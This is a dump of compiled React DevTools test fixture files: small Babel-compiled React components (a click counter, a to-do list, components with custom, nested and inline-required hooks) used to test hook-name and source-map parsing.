    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=ContainingStringSourceMappingURL.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=Example.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=InlineRequire.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=ToDoList.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=ComponentUsingHooksIndirectly.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=ComponentWithCustomHook.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=ComponentWithExternalCustomHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=ComponentWithMultipleHooksPerLine.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=ComponentWithNestedHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=ContainingStringSourceMappingURL.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=Example.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=InlineRequire.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=ToDoList.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=ComponentUsingHooksIndirectly.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() 